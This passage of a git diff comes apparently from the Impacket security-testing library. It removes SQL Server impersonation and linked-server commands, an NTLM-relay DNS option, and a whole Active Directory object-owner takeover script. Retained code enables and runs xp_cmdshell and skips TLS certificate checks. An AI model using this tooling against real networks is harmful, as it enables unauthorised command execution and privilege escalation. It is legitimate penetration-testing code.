ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) - else: - use_ssl = False - port = 389 - tls = None - ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) - if args.k: - ldap_session = ldap3.Connection(ldap_server) - ldap_session.bind() - ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) - elif args.hashes is not None: - ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) - else: - ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) - - return ldap_server, ldap_session - -def init_ldap_session(args, domain, username, password, lmhash, nthash): - if args.k: - target = get_machine_name(args, domain) - else: - if args.dc_ip is not None: - target = args.dc_ip - else: - target = domain - - if args.use_ldaps is True: - try: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) - except ldap3.core.exceptions.LDAPSocketOpenError: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) - else: - return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) - -def main(): - print(version.BANNER) - args = parse_args() - init_logger(args) - - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - - domain, username, password, lmhash, nthash = parse_identity(args) - machine_account_quota = 0 - - try: - ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) - execute = GetMachineAccountQuota(ldap_server, ldap_session, args) - - if execute.machineAccountQuota(machine_account_quota) != 0: - execute.maqUsers() - - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - traceback.print_exc() - logging.error(str(e)) - -if __name__ == '__main__': - main() diff --git a/examples/mssqlclient.py b/examples/mssqlclient.py index 6985f3cd43..2c828af3db 100755 --- a/examples/mssqlclient.py +++ b/examples/mssqlclient.py @@ -32,12 +32,10 @@ import cmd class SQLSHELL(cmd.Cmd): - def __init__(self, SQL, show_queries=False): + def __init__(self, SQL): cmd.Cmd.__init__(self) self.sql = SQL - self.show_queries = show_queries - self.at = [] - self.set_prompt() + self.prompt = 'SQL> ' self.intro = '[!] Press help for extra shell commands' def do_help(self, line): @@ -46,98 +44,17 @@ def do_help(self, line): exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means - enum_db - enum databases - enum_links - enum linked servers - enum_impersonate - check logins that can be impersonate - enum_logins - enum login users - enum_users - enum current db users - enum_owner - enum db owner - exec_as_user {user} - impersonate with execute as user - exec_as_login {login} - impersonate with execute as login xp_cmdshell {cmd} - executes cmd using xp_cmdshell - xp_dirtree {path} - executes xp_dirtree on the path sp_start_job {cmd} - executes cmd using the sql server agent (blind) - use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step) ! {cmd} - executes a local shell cmd - show_query - show query - mask_query - mask query - """) - - def postcmd(self, stop, line): - self.set_prompt() - return stop - - def set_prompt(self): - try: - row = self.sql_query('select system_user + SPACE(2) + current_user as "username"', False) - username_prompt = row[0]['username'] - except: - username_prompt = '-' - if self.at is not None and len(self.at) > 0: - at_prompt = '' - for (at, prefix) in self.at: - at_prompt += '>' + at - self.prompt = 'SQL %s (%s@%s)> ' % (at_prompt, username_prompt, self.sql.currentDB) - else: - self.prompt = 'SQL (%s@%s)> ' % (username_prompt, self.sql.currentDB) - - def do_show_query(self, s): - self.show_queries = True - - def do_mask_query(self, s): - self.show_queries = False - - def execute_as(self, exec_as): - if self.at is not None and len(self.at) > 0: - (at, prefix) = self.at[-1:][0] - self.at = self.at[:-1] - self.at.append((at, exec_as)) - else: - self.sql_query(exec_as) - self.sql.printReplies() - - def do_exec_as_login(self, s): - exec_as = "execute as login='%s';" % s - self.execute_as(exec_as) - - def do_exec_as_user(self, s): - exec_as = "execute as user='%s';" % s - self.execute_as(exec_as) - - def do_use_link(self, s): - if s == 'localhost': - self.at = [] - elif s == '..': - self.at = self.at[:-1] - else: - self.at.append((s, '')) - row = self.sql_query('select system_user as "username"') - self.sql.printReplies() - if len(row) < 1: - self.at = self.at[:-1] - - def sql_query(self, query, show=True): - if self.at is not None and len(self.at) > 0: - for (linked_server, prefix) in self.at[::-1]: - query = "EXEC ('" + prefix.replace("'", "''") + query.replace("'", "''") + "') AT " + linked_server - if self.show_queries and show: - print('[%%] %s' % query) - return self.sql.sql_query(query) + """) def do_shell(self, s): os.system(s) - def do_xp_dirtree(self, s): - try: - self.sql_query("exec master.sys.xp_dirtree '%s',1,1" % s) - self.sql.printReplies() - self.sql.printRows() - except: - pass - def do_xp_cmdshell(self, s): try: - self.sql_query("exec master..xp_cmdshell '%s'" % s) + self.sql.sql_query("exec master..xp_cmdshell '%s'" % s) self.sql.printReplies() self.sql.colMeta[0]['TypeData'] = 80*2 self.sql.printRows() @@ -146,7 +63,7 @@ def do_xp_cmdshell(self, s): def do_sp_start_job(self, s): try: - self.sql_query("DECLARE @job NVARCHAR(100);" + self.sql.sql_query("DECLARE @job NVARCHAR(100);" "SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());" "EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG'," "@owner_login_name='sa',@delete_level=3;" @@ -164,10 +81,10 @@ def do_lcd(self, s): print(os.getcwd()) else: os.chdir(s) - + def do_enable_xp_cmdshell(self, line): try: - self.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" + self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" "exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") self.sql.printReplies() self.sql.printRows() @@ -176,79 +93,8 @@ def do_enable_xp_cmdshell(self, line): def do_disable_xp_cmdshell(self, line): try: - self.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure " - "'show advanced options', 0 ;RECONFIGURE;") - self.sql.printReplies() - self.sql.printRows() - except: - pass - - def do_enum_links(self, line): - self.sql_query("EXEC sp_linkedservers") - self.sql.printReplies() - self.sql.printRows() - self.sql_query("EXEC sp_helplinkedsrvlogin") - self.sql.printReplies() - self.sql.printRows() - - def do_enum_users(self, line): - self.sql_query("EXEC sp_helpuser") - self.sql.printReplies() - self.sql.printRows() - - def do_enum_db(self, line): - try: - self.sql_query("select name, is_trustworthy_on from sys.databases") - self.sql.printReplies() - self.sql.printRows() - except: - pass - - def do_enum_owner(self, line): - try: - self.sql_query("SELECT name [Database], suser_sname(owner_sid) [Owner] FROM sys.databases") - self.sql.printReplies() - self.sql.printRows() - except: - pass - - def do_enum_impersonate(self, line): - try: - self.sql_query("select name from sys.databases") - result = [] - for row in self.sql.rows: - result_rows = self.sql_query("use " + row['name'] + "; SELECT 'USER' as 'execute as', DB_NAME() " - "AS 'database',pe.permission_name," - "pe.state_desc, pr.name AS 'grantee', " - "pr2.name AS 'grantor' " - "FROM sys.database_permissions pe " - "JOIN sys.database_principals pr ON " - " pe.grantee_principal_id = pr.principal_Id " - "JOIN sys.database_principals pr2 ON " - " pe.grantor_principal_id = pr2.principal_Id " - "WHERE pe.type = 'IM'") - if result_rows: - result.extend(result_rows) - result_rows = self.sql_query("SELECT 'LOGIN' as 'execute as', '' AS 'database',pe.permission_name," - "pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor' " - "FROM sys.server_permissions pe JOIN sys.server_principals pr " - " ON pe.grantee_principal_id = pr.principal_Id " - "JOIN sys.server_principals pr2 " - " ON pe.grantor_principal_id = pr2.principal_Id " - "WHERE pe.type = 'IM'") - result.extend(result_rows) - self.sql.printReplies() - self.sql.rows = result - self.sql.printRows() - except: - pass - - def do_enum_logins(self, line): - try: - self.sql_query("select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, " - "sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, " - "sl.bulkadmin from master.sys.server_principals r left join master.sys.syslogins sl " - "on sl.sid = r.sid where r.type in ('S','E','X','U','G')") + self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure " + "'show advanced options', 0 ;RECONFIGURE;") self.sql.printReplies() self.sql.printRows() except: @@ -256,12 +102,12 @@ def do_enum_logins(self, line): def default(self, line): try: - self.sql_query(line) + self.sql.sql_query(line) self.sql.printReplies() self.sql.printRows() except: pass - + def emptyline(self): pass @@ -280,7 +126,6 @@ def do_exit(self, line): parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows ' 'Authentication (default False)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-show', action='store_true', help='show the queries') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell') group = parser.add_argument_group('authentication') @@ -298,7 +143,7 @@ def do_exit(self, line): if len(sys.argv)==1: parser.print_help() sys.exit(1) - + options = parser.parse_args() if options.debug is True: @@ -334,7 +179,7 @@ def do_exit(self, line): logging.error(str(e)) res = False if res is True: - shell = SQLSHELL(ms_sql, options.show) + shell = SQLSHELL(ms_sql) if options.file is None: shell.cmdloop() else: diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 21272fea1b..81f2360abe 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -111,30 +111,7 @@ def do_socks(self, line): logging.error("ERROR: %s" % str(e)) else: if len(items) > 0: - if("=" in line and len(line.replace('socks','').split('='))==2): - _filter=line.replace('socks','').split('=')[0] - _value=line.replace('socks','').split('=')[1] - if(_filter=='target'): - _filter=1 - elif(_filter=='username'): - _filter=2 - elif(_filter=='admin'): - _filter=3 - else: - logging.info('Expect : target / username / admin = value') - _items=[] - for i in items: - if(_value.lower() in i[_filter].lower()): - _items.append(i) - if(len(_items)>0): - self.printTable(_items,header=headers) - else: - logging.info('No relay matching filter available!') - - elif("=" in line): - logging.info('Expect target/username/admin = value') - else: - self.printTable(items, header=headers) + self.printTable(items, header=headers) else: logging.info('No Relays Available!') @@ -177,7 +154,7 @@ def start_servers(options, threads): c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir(options.lootdir) c.setOutputFile(options.output_file) - c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record) + c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid) c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) c.setMSSQLOptions(options.query) c.setInteractive(options.interactive) @@ -352,7 +329,6 @@ def stop_servers(threads): ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') - ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the record to DNS via LDAP pointing to ') #IMAP options imapoptions = parser.add_argument_group("IMAP client options") @@ -407,10 +383,6 @@ def stop_servers(threads): from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS - if options.add_dns_record: - dns_name = options.add_dns_record[0].lower() - if dns_name == 'wpad' or dns_name == '*': - logging.warning('You are asking to add a `wpad` or a wildcard DNS name. This can cause disruption in larger networks (using multiple DNS subdomains) or if workstations already use a proxy config.') if options.codec is not None: codec = options.codec diff --git a/examples/owneredit.py b/examples/owneredit.py deleted file mode 100644 index 2edcf3bc58..0000000000 --- a/examples/owneredit.py +++ /dev/null @@ -1,517 +0,0 @@ -#!/usr/bin/env python3 -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer -# -# Authors: -# Charlie BROMBERG (@_nwodtuhs) - -import argparse -import logging -import sys -import traceback - -import ldap3 -import ssl -import ldapdomaindump -from binascii import unhexlify -from ldap3.protocol.formatters.formatters import format_sid - -from impacket import version -from impacket.examples import logger, utils -from impacket.ldap import ldaptypes -from impacket.smbconnection import SMBConnection -from impacket.spnego import SPNEGO_NegTokenInit, TypesMech -from ldap3.utils.conv import escape_filter_chars -from ldap3.protocol.microsoft import security_descriptor_control - - -# Universal SIDs -WELL_KNOWN_SIDS = { - 'S-1-0': 'Null Authority', - 'S-1-0-0': 'Nobody', - 'S-1-1': 'World Authority', - 'S-1-1-0': 'Everyone', - 'S-1-2': 'Local Authority', - 'S-1-2-0': 'Local', - 'S-1-2-1': 'Console Logon', - 'S-1-3': 'Creator Authority', - 'S-1-3-0': 'Creator Owner', - 'S-1-3-1': 'Creator Group', - 'S-1-3-2': 'Creator Owner Server', - 'S-1-3-3': 'Creator Group Server', - 'S-1-3-4': 'Owner Rights', - 'S-1-5-80-0': 'All Services', - 'S-1-4': 'Non-unique Authority', - 'S-1-5': 'NT Authority', - 'S-1-5-1': 'Dialup', - 'S-1-5-2': 'Network', - 'S-1-5-3': 'Batch', - 'S-1-5-4': 'Interactive', - 'S-1-5-6': 'Service', - 'S-1-5-7': 'Anonymous', - 'S-1-5-8': 'Proxy', - 'S-1-5-9': 'Enterprise Domain Controllers', - 'S-1-5-10': 'Principal Self', - 'S-1-5-11': 'Authenticated Users', - 'S-1-5-12': 'Restricted Code', - 'S-1-5-13': 'Terminal Server Users', - 'S-1-5-14': 'Remote Interactive Logon', - 'S-1-5-15': 'This Organization', - 'S-1-5-17': 'This Organization', - 'S-1-5-18': 'Local System', - 'S-1-5-19': 'NT Authority', - 'S-1-5-20': 'NT Authority', - 'S-1-5-32-544': 'Administrators', - 'S-1-5-32-545': 'Users', - 'S-1-5-32-546': 'Guests', - 'S-1-5-32-547': 'Power Users', - 'S-1-5-32-548': 'Account Operators', - 'S-1-5-32-549': 'Server Operators', - 'S-1-5-32-550': 'Print Operators', - 'S-1-5-32-551': 'Backup Operators', - 'S-1-5-32-552': 'Replicators', - 'S-1-5-64-10': 'NTLM Authentication', - 'S-1-5-64-14': 'SChannel Authentication', - 'S-1-5-64-21': 'Digest Authority', - 'S-1-5-80': 'NT Service', - 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', - 'S-1-16-0': 'Untrusted Mandatory Level', - 'S-1-16-4096': 'Low Mandatory Level', - 'S-1-16-8192': 'Medium Mandatory Level', - 'S-1-16-8448': 'Medium Plus Mandatory Level', - 'S-1-16-12288': 'High Mandatory Level', - 'S-1-16-16384': 'System Mandatory Level', - 'S-1-16-20480': 'Protected Process Mandatory Level', - 'S-1-16-28672': 'Secure Process Mandatory Level', - 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', - 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', - 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', - 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', - 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', - 'S-1-5-32-559': 'BUILTIN\Performance Log Users', - 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', - 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', - 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', - 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', - 'S-1-5-32-573': 'BUILTIN\Event Log Readers', - 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', - 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', - 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', - 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', - 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', - 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', - 'S-1-5-32-580': 'BUILTIN\Remote Management Users', -} - -class OwnerEdit(object): - def __init__(self, ldap_server, ldap_session, args): - super(OwnerEdit, self).__init__() - self.ldap_server = ldap_server - self.ldap_session = ldap_session - - self.target_sAMAccountName = args.target_sAMAccountName - self.target_SID = args.target_SID - self.target_DN = args.target_DN - - self.new_owner_sAMAccountName = args.new_owner_sAMAccountName - self.new_owner_SID = args.new_owner_SID - self.new_owner_DN = args.new_owner_DN - - logging.debug('Initializing domainDumper()') - cnf = ldapdomaindump.domainDumpConfig() - cnf.basepath = None - self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) - - if self.target_sAMAccountName or self.target_SID or self.target_DN: - # Searching for target account with its security descriptor - self.search_target_principal_security_descriptor() - # Extract security descriptor data - self.target_principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] - self.target_principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.target_principal_raw_security_descriptor) - - # Searching for the owner SID if any owner argument was given and new_owner_SID wasn't - if self.new_owner_SID is None and self.new_owner_sAMAccountName is not None or self.new_owner_DN is not None: - _lookedup_owner = "" - if self.new_owner_sAMAccountName is not None: - _lookedup_owner = self.new_owner_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_owner), attributes=['objectSid']) - elif self.new_owner_DN is not None: - _lookedup_owner = self.new_owner_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_owner, attributes=['objectSid']) - try: - self.new_owner_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - logging.debug("Found new owner SID: %s" % self.new_owner_SID) - except IndexError: - logging.error('New owner SID not found in LDAP (%s)' % _lookedup_owner) - exit(1) - - def read(self): - current_owner_SID = format_sid(self.target_principal_security_descriptor['OwnerSid']).formatCanonical() - logging.info("Current owner information below") - logging.info("- SID: %s" % current_owner_SID) - logging.info("- sAMAccountName: %s" % self.resolveSID(current_owner_SID)) - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % current_owner_SID, attributes=['distinguishedName']) - current_owner_distinguished_name = self.ldap_session.entries[0] - logging.info("- distinguishedName: %s" % current_owner_distinguished_name['distinguishedName']) - - def write(self): - logging.debug('Attempt to modify the OwnerSid') - _new_owner_SID = ldaptypes.LDAP_SID() - _new_owner_SID.fromCanonical(self.new_owner_SID) - # lib doesn't set this, but I don't known if it's needed - # _new_owner_SID['SubLen'] = len(_new_owner_SID['SubAuthority']) - self.target_principal_security_descriptor['OwnerSid'] = _new_owner_SID - - self.ldap_session.modify( - self.target_principal.entry_dn, - {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [ - self.target_principal_security_descriptor.getData() - ])}, - controls=security_descriptor_control(sdflags=0x01)) - if self.ldap_session.result['result'] == 0: - logging.info('OwnerSid modified successfully!') - else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) - - # Attempts to retrieve the Security Descriptor of the specified target - def search_target_principal_security_descriptor(self): - _lookedup_principal = "" - # Set SD flags to only query for OwnerSid - controls = security_descriptor_control(sdflags=0x01) - if self.target_sAMAccountName is not None: - _lookedup_principal = self.target_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_SID is not None: - _lookedup_principal = self.target_SID - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_DN is not None: - _lookedup_principal = self.target_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) - try: - self.target_principal = self.ldap_session.entries[0] - logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) - except IndexError: - logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) - exit(0) - - # Attempts to resolve a SID and return the corresponding samaccountname - def resolveSID(self, sid): - # Tries to resolve the SID from the well known SIDs - if sid in WELL_KNOWN_SIDS.keys() or False: - return WELL_KNOWN_SIDS[sid] - # Tries to resolve the SID from the LDAP domain dump - else: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) - try: - dn = self.ldap_session.entries[0].entry_dn - samname = self.ldap_session.entries[0]['samaccountname'] - return samname - except IndexError: - logging.debug('SID not found in LDAP: %s' % sid) - return "" - - -def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') - parser.add_argument('identity', action='store', help='domain.local/username[:password]') - parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - - auth_con = parser.add_argument_group('authentication & connection') - auth_con.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - auth_con.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - auth_con.add_argument('-k', action="store_true", - help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') - auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') - auth_con.add_argument('-dc-ip', action='store', metavar="ip address", - help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') - - new_owner_parser = parser.add_argument_group("owner", description="Object, controlled by the attacker, to set as owner of the target object") - new_owner_parser.add_argument("-new-owner", dest="new_owner_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") - new_owner_parser.add_argument("-new-owner-sid", dest="new_owner_SID", metavar="SID", type=str, required=False, help="Security IDentifier") - new_owner_parser.add_argument("-new-owner-dn", dest="new_owner_DN", metavar="DN", type=str, required=False, help="Distinguished Name") - - target_parser = parser.add_argument_group("target", description="Target object to edit the owner of") - target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") - target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") - target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") - - dacl_parser = parser.add_argument_group("dacl editor") - dacl_parser.add_argument('-action', choices=['read', 'write'], nargs='?', default='read', help='Action to operate on the owner attribute') - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(1) - - return parser.parse_args() - - -def parse_identity(args): - domain, username, password = utils.parse_credentials(args.identity) - - if domain == '': - logging.critical('Domain should be specified!') - sys.exit(1) - - if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: - from getpass import getpass - logging.info("No credentials supplied, supply password") - password = getpass("Password:") - - if args.aesKey is not None: - args.k = True - - if args.hashes is not None: - lmhash, nthash = args.hashes.split(':') - else: - lmhash = '' - nthash = '' - - return domain, username, password, lmhash, nthash - - -def init_logger(args): - # Init the example's logger theme and debug level - logger.init(args.ts) - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - -def get_machine_name(args, domain): - if args.dc_ip is not None: - s = SMBConnection(args.dc_ip, args.dc_ip) - else: - s = SMBConnection(domain, domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % domain) - else: - s.logoff() - return s.getServerName() - - -def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): - from pyasn1.codec.ber import encoder, decoder - from pyasn1.type.univ import noValue - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - :return: True, raises an Exception if error. - """ - - if lmhash != '' or nthash != '': - if len(lmhash) % 2: - lmhash = '0' + lmhash - if len(nthash) % 2: - nthash = '0' + nthash - try: # just in case they were converted already - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) - except TypeError: - pass - - # Importing down here so pyasn1 is not required if kerberos is not used. - from impacket.krb5.ccache import CCache - from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5 import constants - from impacket.krb5.types import Principal, KerberosTime, Ticket - import datetime - - if TGT is not None or TGS is not None: - useCache = False - - target = 'ldap/%s' % target - if useCache: - domain, user, TGT, TGS = CCache.parseFile(domain, user, target) - - # First of all, we need to get a TGT for the user - userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - if TGT is None: - if TGS is None: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, - aesKey, kdcHost) - else: - tgt = TGT['KDC_REP'] - cipher = TGT['cipher'] - sessionKey = TGT['sessionKey'] - - if TGS is None: - serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, - sessionKey) - else: - tgs = TGS['KDC_REP'] - cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] - - # Let's build a NegTokenInit with a Kerberos REQ_AP - - blob = SPNEGO_NegTokenInit() - - # Kerberos - blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - - # Let's extract the ticket from the TGS - tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - # Now let's build the AP_REQ - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = [] - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = domain - seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() - - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 11 - # AP-REQ Authenticator (includes application authenticator - # subkey), encrypted with the application session key - # (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - blob['MechToken'] = encoder.encode(apReq) - - request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', - blob.getData()) - - # Done with the Kerberos saga, now let's get into LDAP - if connection.closed: # try to open connection if closed - connection.open(read_server_info=False) - - connection.sasl_in_progress = True - response = connection.post_send_single_response(connection.send('bindRequest', request, None)) - connection.sasl_in_progress = False - if response[0]['result'] != 0: - raise Exception(response) - - connection.bound = True - - return True - - -def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): - user = '%s\\%s' % (domain, username) - connect_to = target - if args.dc_ip is not None: - connect_to = args.dc_ip - if tls_version is not None: - use_ssl = True - port = 636 - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) - else: - use_ssl = False - port = 389 - tls = None - ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) - if args.k: - ldap_session = ldap3.Connection(ldap_server) - ldap_session.bind() - ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) - elif args.hashes is not None: - ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) - else: - ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) - - return ldap_server, ldap_session - - -def init_ldap_session(args, domain, username, password, lmhash, nthash): - if args.k: - target = get_machine_name(args, domain) - else: - if args.dc_ip is not None: - target = args.dc_ip - else: - target = domain - - if args.use_ldaps is True: - try: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) - except ldap3.core.exceptions.LDAPSocketOpenError: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, 